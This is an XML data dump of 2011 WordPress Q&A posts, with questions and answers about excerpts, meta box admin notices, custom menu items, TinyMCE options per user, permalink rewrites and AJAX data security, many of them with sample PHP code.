  <row Id="15348" PostTypeId="1" CreationDate="2011-04-21T19:06:23.400" Score="0" ViewCount="58" Body="&lt;p&gt;I installed WordPress 3.1. I edited a home page and other page, logged out, next day logged in but all info is gone. Very concerned about losing all my info and time. What to do?&lt;/p&gt;&#xA;" OwnerUserId="4818" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T01:43:11.980" LastActivityDate="2011-04-25T01:43:11.980" Title="WordPress 3.1. I keep losing my edit pages despite I save draft" Tags="&lt;3.1&gt;" CommentCount="4" />
  <row Id="15349" PostTypeId="1" AcceptedAnswerId="15353" CreationDate="2011-04-21T19:25:06.483" Score="0" ViewCount="92" Body="&lt;p&gt;I'm trying to learn HOW to learn about WordPress by following its source code etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really stumped at the_excerpt(). Documentation states that the_excerpt uses get_the_excerpt(), and will return either the (manual) excerpt, or will use the first 55 characters of the_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in the logic that looks first for the manual excerpt and then decides whether it needs to go in and extract a substring from the post content. But I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In post-template.php, we see the_excerpt() and get_the_excerpt() defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the_excerpt() does nothing more than echo out get_the_excerpt():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;249 function the_excerpt() {&#xA;250         echo apply_filters('the_excerpt', get_the_excerpt());&#xA;251 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;get_the_excerpt() seems to do nothing more than grab the post_excerpt column from the wp_post table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;261 function get_the_excerpt( $deprecated = '' ) {&#xA;262         if ( !empty( $deprecated ) )&#xA;263                 _deprecated_argument( __FUNCTION__, '2.3' );&#xA;264 &#xA;265         global $post;&#xA;266         $output = $post-&amp;gt;post_excerpt;&#xA;267         if ( post_password_required($post) ) {&#xA;268                 $output = __('There is no excerpt because this is a protected post.');&#xA;269                 return $output;&#xA;270         }&#xA;271 &#xA;272         return apply_filters('get_the_excerpt', $output);&#xA;273 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see where the logic to grab $post-&gt;post_content resides. Is it in the filters? I can't see those filters defined anywhere, but this may be because I just don't know where to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cursory glance at &lt;a href=&quot;http://mobile.adambrown.info/p/wp_hooks&quot; rel=&quot;nofollow&quot;&gt;Adam Brown's source code search site&lt;/a&gt; doesn't seem to be turning up any definitions either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me pick up the thread and figure this out? Remember, I'm more interested in how to figure it out than I am in the actual answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate everyone's input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-04-21T19:45:39.053" Title="Where is the logic that defines the excerpt?" Tags="&lt;excerpt&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="15350" PostTypeId="1" CreationDate="2011-04-21T19:26:49.443" Score="0" ViewCount="108" Body="&lt;p&gt;How can I add FORM TAG and submit button for saving form data with ajax inside my meta_box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to avoid saving data with general post FORM and save just data included in that meda_box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4819" LastActivityDate="2011-08-22T21:33:33.200" Title="Add FORM Tag inside meta_box" Tags="&lt;metabox&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15351" PostTypeId="1" CreationDate="2011-04-21T19:28:16.010" Score="0" ViewCount="140" Body="&lt;p&gt;I'm using the code below to create custom menu items on the fly. Its working great, except all menus are created as &quot;Custom&quot;. In the code below, setting the menu-item-type to 'page' appears to have no effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        foreach($thePages as $page){&#xA;            wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array(&#xA;                'menu-item-title' =&amp;gt; $page-&amp;gt;post_title,&#xA;                'menu-item-type' =&amp;gt; 'page', &#xA;                'menu-item-status' =&amp;gt; 'publish')&#xA;            );          &#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wp-includes/nav-menu.php shows that the value is hard coded to &quot;Custom&quot;. However, if I manually add a page to the menu, using the WP Menus manager, it lists it as &quot;Page&quot;, not &quot;Custom&quot;. What can I do to set the menu type to &quot;Page&quot;?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-21T23:52:29.290" Title="Custom Nav Menu items default to 'menu-item-type' =&gt; 'custom'. How to make a &quot;page&quot; menu item?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="15352" PostTypeId="2" ParentId="15346" CreationDate="2011-04-21T19:36:58.403" Score="1" ViewCount="" Body="&lt;p&gt;Like a commented the only way to do it is with a custom sql query so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$mypages = $wpdb-&amp;gt;get_results( &quot;SELECT post_title, post_name FROM $wpdb-&amp;gt;posts&#xA; WHERE post_type = 'page' &#xA; AND post_status = 'publish' &#xA; AND parent = '0'&quot;);&#xA;&#xA;if (count($mypages) &amp;gt; 0){&#xA;    foreach ($mypages as $page){&#xA;        //do you stuff&#xA;        //$page['post_title'] for title&#xA;        //$page['post_name'] for slug&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-21T19:36:58.403" CommentCount="1" />
  <row Id="15353" PostTypeId="2" ParentId="15349" CreationDate="2011-04-21T19:45:39.053" Score="1" ViewCount="" Body="&lt;p&gt;From what I understand in the default-filters.php file a filter is applied to the 'get_the_filter' filter. The callback is for a method called 'wp_trim_execrpt'. This is found in formatting.php. From there you can see the logic. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-04-21T19:45:39.053" CommentCount="4" />
  <row Id="15354" PostTypeId="1" AcceptedAnswerId="15356" CreationDate="2011-04-21T19:48:59.770" Score="1" ViewCount="332" Body="&lt;p&gt;I have a simple meta box that updates the post custom fields (using &lt;code&gt;update_post_meta()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I send a error or warning message to the next page after the user publishes/updates the post and doesn't fill one of the meta box fields (or fills them with invalid data) ?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-24T01:39:17.857" Title="Passing error/warning messages from a meta box to &quot;admin_notices&quot;" Tags="&lt;metabox&gt;&lt;post-meta&gt;&lt;save-post&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15355" PostTypeId="2" ParentId="15354" CreationDate="2011-04-21T20:02:08.343" Score="5" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;admin_notices&lt;/code&gt; hook&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first define the notice function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_notice(){&#xA;    //print the message&#xA;    echo '&amp;lt;div id=&quot;message&quot;&amp;gt;&#xA;       &amp;lt;p&amp;gt;metabox as errors on save message here!!!&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;';&#xA;    //make sure to remove notice after its displayed so its only displayed when needed.&#xA;    remove_action('admin_notices', 'my_admin_notice');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The you you metabox save function based on if needed add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;...&#xA;if($errors){&#xA;    add_action('admin_notices', 'my_admin_notice');&#xA;}&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Like I promised here is an example of a of how i add an error message form my metabox&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: one-trick-pony-notice&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: Just to proof a point using admin notice form metabox&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;/*  admin notice */&#xA;function my_admin_notice(){&#xA;    //print the message&#xA;    global $post;&#xA;    $notice = get_option('otp_notice');&#xA;    if (empty($notice)) return '';&#xA;    foreach($notice as $pid =&amp;gt; $m){&#xA;        if ($post-&amp;gt;ID == $pid ){&#xA;            echo '&amp;lt;div id=&quot;message&quot; class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;'.$m.'&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;            //make sure to remove notice after its displayed so its only displayed when needed.&#xA;            unset($notice[$pid]);&#xA;            update_option('otp_notice',$notice);&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;//hooks&#xA;&#xA;add_action('add_meta_boxes', 'OT_mt_add');&#xA;add_action('save_post', 'OT_mt_save');&#xA;add_action('admin_notices', 'my_admin_notice',0);&#xA;&#xA;//add metabox&#xA;function OT_mt_add() {&#xA;    add_meta_box('OT_mt_sectionid', __( 'One Trick Meta Box notice', 'textdomain' ),'OT_mt_display','post');&#xA;}&#xA;&#xA;//display metabox&#xA;function OT_mt_display() {&#xA;&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;       _e(&quot;leave blank to get a notice on publish or update&quot;, 'textdomain' );&#xA;  echo '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;text&quot; id=&quot;ot_field&quot; name=&quot;ot_field&quot; value=&quot;&quot; size=&quot;25&quot; /&amp;gt;';&#xA;&#xA;}&#xA;&#xA;&#xA;//save metabox here is were i check the fields and if empty i display a message&#xA;function OT_mt_save( $post_id ) {&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;    if (!isset($_POST['myplugin_noncename'])) return $post_id;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;&#xA;  if(!isset($_POST['ot_field']) || empty($_POST['ot_field'])){&#xA;    //field left empty so we add a notice&#xA;    $notice = get_option('otp_notice');&#xA;    $notice[$post_id] = &quot;You have left the field empty&quot;;&#xA;    update_option('otp_notice',$notice);&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when looking for this code i found my old way of doing it using &lt;code&gt;post_updated_messages&lt;/code&gt; filter hook in about the same way so i'll add that too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: one-trick-pony-notice2&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: just like the one above but this time using post_updated_messages hook&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;//hooks&#xA;add_filter('post_updated_messages','my_messages',0);&#xA;add_action('add_meta_boxes', 'OT_mt_add');&#xA;add_action('save_post', 'OT_mt_save');&#xA;&#xA;&#xA;//add metabox&#xA;function OT_mt_add() {&#xA;    add_meta_box('OT_mt_sectionid', __( 'One Trick Meta Box notice', 'textdomain' ),'OT_mt_display','post');&#xA;}&#xA;&#xA;//display metabox&#xA;function OT_mt_display() {&#xA;&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;       _e(&quot;leave blank to get a notice on publish or update&quot;, 'textdomain' );&#xA;  echo '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;text&quot; id=&quot;ot_field&quot; name=&quot;ot_field&quot; value=&quot;&quot; size=&quot;25&quot; /&amp;gt;';&#xA;&#xA;}&#xA;&#xA;&#xA;//save metabox here is were i check the fields and if empty i display a message&#xA;function OT_mt_save( $post_id ) {&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;    if (!isset($_POST['myplugin_noncename'])) return $post_id;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;&#xA;  if(!isset($_POST['ot_field']) || empty($_POST['ot_field'])){&#xA;    //field left empty so we add a notice&#xA;    $notice = get_option('otp_notice');&#xA;    $notice[$post_id] = &quot;You have left the field empty&quot;;&#xA;    update_option('otp_notice',$notice);&#xA;  }&#xA;&#xA;}&#xA;&#xA;//messages filter&#xA;function my_messages($m){&#xA;    global $post;&#xA;    $notice = get_option('otp_notice');&#xA;    if (empty($notice)) return $m;&#xA;    foreach($notice as $pid =&amp;gt; $mm){&#xA;        if ($post-&amp;gt;ID == $pid ){&#xA;            foreach ($m['post'] as $i =&amp;gt; $message){&#xA;                $m['post'][$i] = $message.'&amp;lt;p&amp;gt;'.$mm.'&amp;lt;/p&amp;gt;';&#xA;&#xA;            }&#xA;            unset($notice[$pid]);&#xA;            update_option('otp_notice',$notice);&#xA;            break;&#xA;        }&#xA;    }&#xA;    return $m;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-24T01:39:17.857" LastActivityDate="2011-04-24T01:39:17.857" CommentCount="11" />
  <row Id="15356" PostTypeId="2" ParentId="15354" CreationDate="2011-04-21T20:04:16.033" Score="2" ViewCount="" Body="&lt;p&gt;You can do this by hand, but WP natively does it like this for settings errors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;add_settings_error()&lt;/code&gt; to create message.&lt;/li&gt;&#xA;&lt;li&gt;Then &lt;code&gt;set_transient('settings_errors', get_settings_errors(), 30);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;settings_errors()&lt;/code&gt; in &lt;code&gt;admin_notices&lt;/code&gt; hook to display (will need to hook for non-settings screens).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-21T20:04:16.033" CommentCount="3" />
  <row Id="15357" PostTypeId="1" CreationDate="2011-04-21T21:10:57.530" Score="0" ViewCount="116" Body="&lt;p&gt;Is it possible to edit the &quot;Post updated. View post&quot; link and remove the &quot;View post&quot; entirely? Also change the &quot;Post&quot; to the name of a cpt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I used and it worked like a charm. I hope this helps others!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example I use &quot;Contact&quot; as my cpt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0RQL8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_updated_messages', 'contact_updated_messages');&#xA;function contact_updated_messages( $messages ) {&#xA;&#xA;$messages['contact'] = array(&#xA;0 =&amp;gt; '', // Unused. Messages start at index 1.&#xA;1 =&amp;gt; sprintf( __('Contact updated. &amp;lt;a href=&quot;%s&quot;&amp;gt;View Contact&amp;lt;/a&amp;gt;'), esc_url( get_permalink($post_ID) ) ),&#xA;2 =&amp;gt; __('Custom field updated.'),&#xA;3 =&amp;gt; __('Custom field deleted.'),&#xA;4 =&amp;gt; __('Contact updated.'),&#xA;/* translators: %s: date and time of the revision */&#xA;5 =&amp;gt; isset($_GET['revision']) ? sprintf( __('Contact restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,&#xA;6 =&amp;gt; sprintf( __('Contact published. &amp;lt;a href=&quot;%s&quot;&amp;gt;View Contact&amp;lt;/a&amp;gt;'), esc_url( get_permalink($post_ID) ) ),&#xA;7 =&amp;gt; __('Contact saved.'),&#xA;8 =&amp;gt; sprintf( __('Contact submitted. &amp;lt;a target=&quot;_blank&quot; href=&quot;%s&quot;&amp;gt;Preview Contact&amp;lt;/a&amp;gt;'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),&#xA;9 =&amp;gt; sprintf( __('Contact scheduled for: &amp;lt;strong&amp;gt;%1$s&amp;lt;/strong&amp;gt;. &amp;lt;a target=&quot;_blank&quot; href=&quot;%2$s&quot;&amp;gt;Preview Contact&amp;lt;/a&amp;gt;'),&#xA;  // translators: Publish box date format, see http://php.net/date&#xA;  date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post-&amp;gt;post_date ) ), esc_url( get_permalink($post_ID) ) ),&#xA;10 =&amp;gt; sprintf( __('Contact draft updated. &amp;lt;a target=&quot;_blank&quot; href=&quot;%s&quot;&amp;gt;Preview Contact&amp;lt;/a&amp;gt;'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),&#xA;);&#xA;&#xA;return $messages;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="4640" LastEditorDisplayName="" LastEditDate="2011-04-22T03:10:18.437" LastActivityDate="2011-04-22T03:10:18.437" Title="Edit the &quot;Post updated. View post&quot; link" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;post-editor&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15358" PostTypeId="1" CreationDate="2011-04-21T12:06:23.413" Score="0" ViewCount="77" Body="&lt;p&gt;I'm building a website using the &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;Simple Fields&lt;/a&gt; plugin to mark a post as featured and to add a simple slide show. I've read the documentation page and they only explain how to do things on the backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have some fields attached to a post, and now I want to get those values on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get those values?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T01:40:40.673" LastActivityDate="2011-04-25T01:40:40.673" Title="WordPress and template tags for Simple Fields plugin" Tags="&lt;plugin-simple-fields&gt;" AnswerCount="1" />
  <row Id="15359" PostTypeId="2" ParentId="15358" CreationDate="2011-04-21T21:34:31.270" Score="1" ViewCount="" Body="&lt;p&gt;I'm pretty sure that plugin just hooks into the meta fields so in order from them to display you can echo the get_post_meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'the_name_of_your_custom_field', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-21T21:34:31.270" />
  <row Id="15360" PostTypeId="2" ParentId="15357" CreationDate="2011-04-21T21:35:26.620" Score="1" ViewCount="" Body="&lt;p&gt;You can filter the update messages: &lt;code&gt;add_filter('post_updated_messages', 'your_message_function');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look in /wp-admin/edit-form-advanced.php to see the where the default messages are set.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-04-21T21:41:08.597" LastActivityDate="2011-04-21T21:41:08.597" CommentCount="1" />
  <row Id="15361" PostTypeId="1" CreationDate="2011-04-21T22:13:36.617" Score="4" ViewCount="180" Body="&lt;p&gt;I am aware of nonces to check for intentions but can't make any sense if I can use them to restrict for database reads somehow? I mean, I am fetching records from the database using AJAX but I don't want anyone to have that data by some other means (POST requests to that &lt;code&gt;admin-ajax.php&lt;/code&gt; page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in my AJAX handler I have this much of work (I am sending &lt;code&gt;$myid&lt;/code&gt; along with the action in the AJAX call):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myid = 5575;&#xA;$query = &quot;SELECT `id` FROM table WHERE `user_id` = $myid;&quot;;&#xA;$data = $wpdb-&amp;gt;get_col( $query );&#xA;echo json_encode($data);&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am calling this much of data through AJAX, how can I protect it from evil users who can try to make direct POST calls to that page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; @Bainternet Thanks for the detailed explanation, appreciate that but my question is really about what @Milo said and I can see that unless I can create a unique nonce for that request, I can't do anything as per @goldenapples. Right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am handling all this stuff with Facebook JS SDK, so everything that has to be done is with AJAX only (without page load), and whatever I can think of making the user sign in &lt;code&gt;wp_signon()&lt;/code&gt; or anything, anyone else can do that too without authority. So, I don't have any uniqueness in a user who is actually using the site and the one who is trying to get read some data out other than the site makes the call to fetch the data. And whatever I can do to make it login or anything, that can be replicated by someone else too. Can anyone think of something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I think I have found a workaround by just calling it with &lt;code&gt;action&lt;/code&gt; and get other parameters from Facebook using PHP SDK. But I am still open for suggestions or anything else for that matter.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-04-22T11:57:46.357" LastActivityDate="2011-08-23T02:30:02.707" Title="WordPress Ajax Data Security" Tags="&lt;ajax&gt;&lt;security&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="15362" PostTypeId="1" CreationDate="2011-04-21T22:18:55.983" Score="0" ViewCount="49" Body="&lt;p&gt;There are obviously different types of users (from power-users to casual authors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress's Rich Text editor is based on TinyMCE - which has &lt;a href=&quot;http://tinymce.moxiecode.com/tryit/full.php&quot; rel=&quot;nofollow&quot;&gt;a lot of features&lt;/a&gt;.  Most of these features are disabled, by default, inside WordPress to create a friendlier (and safer) editing experience.  However, some power-users would prefer to use these extra TinyMCE features.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to enable or disable various Rich Text features (tables, layers, styles, etc) per user?  How is this done?   Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4820" LastActivityDate="2011-04-21T23:01:46.530" Title="Can Rich Text features be configured per user?" Tags="&lt;editor&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="1" />
  <row Id="15363" PostTypeId="1" CreationDate="2011-04-21T22:37:02.623" Score="0" ViewCount="175" Body="&lt;h1&gt;Revised Question:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have a WordPress based website with the Crystalline theme installed (made by RocketTheme, uses the Gantry framework). When I create new pages, they do not show the intended content and instead display the home page content.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Original:&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;The Issue&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Permalinks for Pages created since migrating from a LAMP server to a Windows/IIS server incorrectly load the home page content, regardless of whether I use the default Permalink structure or a custom Permalink structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if I attempt to visit www.domain.com/wordpress/new_page/, it loads the content from www.domain.com/wordpress/, but the URL does not change; it remains www.domain.com/newsite/new_page/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, loading a page created before the transition works fine, so if I attempt to visit www.domain.com/wordpress/old_page, it loads the intended content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, there is some problem with the internal rewriting that Wordpress does, since a problem with my .htaccess rules would affect all pages. I do not know how to start debugging this though.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Additional Info&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Permalinks work for all pages that existed when I migrated, even if I change the permalink structure in Settings-&gt;Permalinks&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I make a newly created Page into a child of a pre-existing Page, visiting the newly created page's Permalink now loads the correct content. So, www.domain.com/wordpress/old_page/new_page/ will load the intended content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I make a pre-existing Page into a child of a newly created page, these are the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/wordpress/new_page/old_page/ loads the intended content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/wordpress/new_page/ does not load the intended content&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using ISAPI_Rewrite 3. The following is my global configuration file (I am not doing per directory .htaccess files):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On  &#xA;RewriteBase /  &#xA;&#xA;#New wordpress site  &#xA;RewriteCond %{REQUEST_FILENAME} !-f  &#xA;RewriteCond %{REQUEST_FILENAME} !-d  &#xA;RewriteRule .*wordpress/.* /wordpress/index.php [L]  &#xA;&#xA;#Whole site  &#xA;RewriteCond %{REQUEST_FILENAME} !-f  &#xA;RewriteCond %{REQUEST_FILENAME} !-d  &#xA;RewriteRule .* /index.php [L]`  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4821" LastEditorUserId="4821" LastEditorDisplayName="" LastEditDate="2011-05-10T23:55:03.197" LastActivityDate="2011-08-09T19:21:35.843" Title="Gantry Framework: new page loads homepage content instead of page content" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="15364" PostTypeId="1" AcceptedAnswerId="15438" CreationDate="2011-04-21T22:45:20.990" Score="1" ViewCount="129" Body="&lt;p&gt;I added descriptions to my menus using this post, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description&quot;&gt;Menu items description?&lt;/a&gt;. However I need to be able to use html tags and WordPress is stripping them out. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="4648" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-23T06:52:11.057" LastActivityDate="2011-04-23T06:52:11.057" Title="Allow html tags in WordPress Custom Menus Description Field" Tags="&lt;custom-menus&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="15365" PostTypeId="2" ParentId="15362" CreationDate="2011-04-21T23:01:46.530" Score="1" ViewCount="" Body="&lt;p&gt;look here &lt;a href=&quot;http://wpsnipp.com/index.php/functions-php/add-cut-copy-and-paste-buttons-to-the-tinymce-editor/&quot; rel=&quot;nofollow&quot;&gt;tinymce and users&lt;/a&gt; and add something similar to your themes functions.php and maybe work on that by wrapping it with a custom role / capability which you assign to your trusted users:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current_user_can( 'have_tiny_mce_options' ) { tinymce options here }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the page example only shows 3 options but im sure that this can be improved&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-21T23:01:46.530" />
